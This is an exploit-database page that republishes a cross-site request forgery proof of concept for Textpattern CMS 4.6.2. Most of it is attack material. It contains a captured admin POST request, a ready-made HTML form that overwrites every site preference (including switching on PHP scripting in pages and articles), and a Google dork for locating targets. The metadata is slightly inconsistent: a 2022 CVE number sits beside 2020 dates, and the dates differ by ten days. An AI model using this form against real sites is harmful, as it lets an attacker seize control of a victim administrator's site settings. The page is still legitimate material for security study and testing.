Textpattern CMS 4.6.2 Cross-site Request Forgery
CVE
Category
Price
Severity
CVE-2022-24391
CWE-352
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2020-10-19
CVSS vector description
Metric
Value
Metric Description
Value Description
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100117 Below is a copy:
Textpattern CMS 4.6.2 Cross-site Request Forgery # Exploit Title: Textpattern CMS 4.6.2 - Cross-site Request Forgery
# Exploit Author: Alperen Ergel
# Contact: @alpren_ae
# Software Homepage: https://textpattern.com/
# Version : 4.6.2
# Tested on: windows 10 / xammp
# Category: WebApp
# Google Dork: intext:"Published with Textpattern CMS"
# Date: 2020-10-29
######## Description ########
#
# 1-) Loggin administrator page
#
# 2-) Go admin > prefs > site
#
# 3-) All inputs vulnerable to CSRF
#
#
######## Proof of Concept ########
========>>> REQUEST <<<=========
POST /textpattern/textpattern/index.php?event=prefs HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/textpattern/textpattern/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 1806
Connection: close
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40
Upgrade-Insecure-Requests: 1
Submit=Save&sitename=victim+site&siteurl=victimurl.com&site_slogan=victimslogan&production_status=testing&timezone_key=Europe%2FBerlin&auto_dst=0&
is_dst=0&dateformat=since&archive_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&permlink_mode=section_id_title&doctype=html5&logging=none&expire_logs_after=7&
use_comments=1&img_dir=images&skin_dir=themes&file_base_path=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ffiles&
file_max_upload_size=2000000&tempdir=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ftextpattern%2Ftmp&plugin_cache_dir=&
smtp_from=&publisher_email=&override_emailcharset=0&enable_xmlrpc_server=0&default_event=article&theme_name=hive&module_pophelp=1&default_publish_status=4&
title_no_widow=0&articles_use_excerpts=1&allow_form_override=1&attach_titles_to_permalinks=1&permlink_format=1&send_lastmod=1&publish_expired_articles=0&use_textile=1&enable_short_tags=1&
use_plugins=1&admin_side_plugins=1&allow_page_php_scripting=1&allow_article_php_scripting=1&max_url_len=1000&syndicate_body_or_excerpt=1&rss_how_many=5&show_comment_count_in_feed=1&
include_email_atom=0&use_mail_on_feeds_id=0&comments_on_default=0&comments_default_invite=Comment&comments_moderate=1&comments_disabled_after=42&comments_auto_append=0&
comments_mode=0&comments_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&comments_sendmail=0&comments_are_ol=1&comment_means_site_updated=1&
comments_require_name=1&comments_require_email=1&never_display_email=1&comment_nofollow=1&comments_disallow_images=0&comments_use_fat_textile=0&spam_blacklists=&
custom_1_set=custom1&custom_2_set=custom2&custom_3_set=&custom_4_set=&custom_5_set=&custom_6_set=&custom_7_set=&custom_8_set=&custom_9_set=&custom_10_set=&
step=prefs_save&event=prefs&_txp_token=0342db47efb6882b488f6d367067d720
### EXPLOIT ####
<html>
<!-- CSRF PoC -->
<body>
<form action="https://localhost/textpattern/textpattern/index.php" method="POST">
<input type="hidden" name="Submit" value="Save" />
<input type="hidden" name="sitename" value="CHANGEHERE" />
<input type="hidden" name="siteurl" value="CHANGEHERE" />
<input type="hidden" name="site_slogan" value="CHANGEHERE" />
<input type="hidden" name="production_status" value="testing" />
<input type="hidden" name="timezone_key" value="Europe/Berlin" />
<input type="hidden" name="auto_dst" value="0" />
<input type="hidden" name="is_dst" value="0" />
<input type="hidden" name="dateformat" value="since" />
<input type="hidden" name="archive_dateformat" value="%b %Oe, %I:%M %p" />
<input type="hidden" name="permlink_mode" value="section_id_title" />
<input type="hidden" name="doctype" value="html5" />
<input type="hidden" name="logging" value="none" />
<input type="hidden" name="expire_logs_after" value="7" />
<input type="hidden" name="use_comments" value="1" />
<input type="hidden" name="img_dir" value="images" />
<input type="hidden" name="skin_dir" value="themes" />
<input type="hidden" name="file_base_path" value="/var/www/vhosts/.demo.localhost./httpdocs/textpattern/files" />
<input type="hidden" name="file_max_upload_size" value="2000000" />
<input type="hidden" name="tempdir" value="/var/www/vhosts/.demo.localhost./httpdocs/textpattern/textpattern/tmp" />
<input type="hidden" name="plugin_cache_dir" value="" />
<input type="hidden" name="smtp_from" value="" />
<input type="hidden" name="publisher_email" value="" />
<input type="hidden" name="override_emailcharset" value="0" />
<input type="hidden" name="enable_xmlrpc_server" value="0" />
<input type="hidden" name="default_event" value="article" />
<input type="hidden" name="theme_name" value="hive" />
<input type="hidden" name="module_pophelp" value="1" />
<input type="hidden" name="default_publish_status" value="4" />
<input type="hidden" name="title_no_widow" value="0" />
<input type="hidden" name="articles_use_excerpts" value="1" />
<input type="hidden" name="allow_form_override" value="1" />
<input type="hidden" name="attach_titles_to_permalinks" value="1" />
<input type="hidden" name="permlink_format" value="1" />
<input type="hidden" name="send_lastmod" value="1" />
<input type="hidden" name="publish_expired_articles" value="0" />
<input type="hidden" name="use_textile" value="1" />
<input type="hidden" name="enable_short_tags" value="1" />
<input type="hidden" name="use_plugins" value="1" />
<input type="hidden" name="admin_side_plugins" value="1" />
<input type="hidden" name="allow_page_php_scripting" value="1" />
<input type="hidden" name="allow_article_php_scripting" value="1" />
<input type="hidden" name="max_url_len" value="1000" />
<input type="hidden" name="syndicate_body_or_excerpt" value="1" />
<input type="hidden" name="rss_how_many" value="5" />
<input type="hidden" name="show_comment_count_in_feed" value="1" />
<input type="hidden" name="include_email_atom" value="0" />
<input type="hidden" name="use_mail_on_feeds_id" value="0" />
<input type="hidden" name="comments_on_default" value="0" />
<input type="hidden" name="comments_default_invite" value="Comment" />
<input type="hidden" name="comments_moderate" value="1" />
<input type="hidden" name="comments_disabled_after" value="42" />
<input type="hidden" name="comments_auto_append" value="0" />
<input type="hidden" name="comments_mode" value="0" />
<input type="hidden" name="comments_dateformat" value="%b %Oe, %I:%M %p" />
<input type="hidden" name="comments_sendmail" value="0" />
<input type="hidden" name="comments_are_ol" value="1" />
<input type="hidden" name="comment_means_site_updated" value="1" />
<input type="hidden" name="comments_require_name" value="1" />
<input type="hidden" name="comments_require_email" value="1" />
<input type="hidden" name="never_display_email" value="1" />
<input type="hidden" name="comment_nofollow" value="1" />
<input type="hidden" name="comments_disallow_images" value="0" />
<input type="hidden" name="comments_use_fat_textile" value="0" />
<input type="hidden" name="spam_blacklists" value="" />
<input type="hidden" name="custom_1_set" value="custom1" />
<input type="hidden" name="custom_2_set" value="custom2" />
<input type="hidden" name="custom_3_set" value="" />
<input type="hidden" name="custom_4_set" value="" />
<input type="hidden" name="custom_5_set" value="" />
<input type="hidden" name="custom_6_set" value="" />
<input type="hidden" name="custom_7_set" value="" />
<input type="hidden" name="custom_8_set" value="" />
<input type="hidden" name="custom_9_set" value="" />
<input type="hidden" name="custom_10_set" value="" />
<input type="hidden" name="step" value="prefs_save" />
<input type="hidden" name="event" value="prefs" />
<input type="hidden" name="_txp_token" value="0342db47efb6882b488f6d367067d720" />
<input type="submit" value="Do Action" />
</form>
</body>
</html>
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum